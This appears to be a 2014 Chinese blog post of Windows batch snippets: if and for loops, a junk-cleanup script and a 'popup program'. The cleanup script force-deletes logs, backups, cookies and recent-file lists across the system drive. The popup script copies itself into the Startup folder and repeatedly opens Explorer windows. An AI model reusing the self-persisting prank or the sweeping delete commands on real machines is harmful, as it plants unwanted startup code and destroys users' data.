有关bat的一些代码

1.if语句    @echo off
    if exist E:\aa.dat dir C: >> E:\ff.txt
 
    pause
    type E:\ff.txt
    echo 已写入文件ff.txt
    pause
 
    mstsc & gpedit.msc & cleanmgr
    echo... & pause
 

2.for语句     @echo off
    rem ping www.sina.com
 
    echo 开始列出C,D,E盘下所有的目录...
    pause
    for %%a in (C: D: E:) do @dir %%a > E:\aa.dat
    type E:\aa.dat
 
    echo 结果已经写入E:\aa.dat文件
    pause
 
    tree C:\windows\system32
    rem pause>>E:\aa.dat
 
    echo 开始列出E盘所有cpp文件和txt文件...
    pause
    for /r E: %%a in (*.cpp *.txt) do dir "%%a" /b/s
    pause
 

3.系统垃圾清理      @echo off
    pause
    del /f /s /q %systemdrive%\*.tmp
    del /f /s /q %systemdrive%\*.log
    del /f /s /q %systemdrive%\*.chk
    del /f /s /q %systemdrive%\*.old
    del /f /s /q %systemdrive%\recycled\*.*
    del /f /s /q %windir%\*.bak
    rd /s /q %windir%\temp & md %windir%\temp
    del /f /q %userprofile%\cookies\*.*
    del /f /q %userprofile%\recent\*.*
    del /f /s /q "%userprofile%\Local Settings\Temp\*.*"
    del /f /s /q "%userprofile%\recent\*.*"
    pause
 
 

4.弹窗程序
rem @echo off
rem for %%a in(C:\windows\explorer.exe C:\windows\explorer.exe C:\windows\explorer.exe) do @start %%a
rem start C:\windows\explorer.exe
rem pause>nul
rem start C:\windows\explorer.exe
rem pause>nul
rem start C:\windows\explorer.exe
 
@echo off
set /a count=0
 
if exist %WinDir%\HelpPane.exe copy /y "%0" "%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"
if not exist %WinDir%\HelpPane.exe copy /y "%0" "%userprofile%\「开始」菜单\程序\启动"
 
:loop
set /a count=count+1
start explorer.exe
cls
if %count% geq 5 pause&exit
goto loop
 
 
 
 
posted @ 2014-10-12 14:16  水火379  阅读(2459)  评论(0编辑  收藏  举报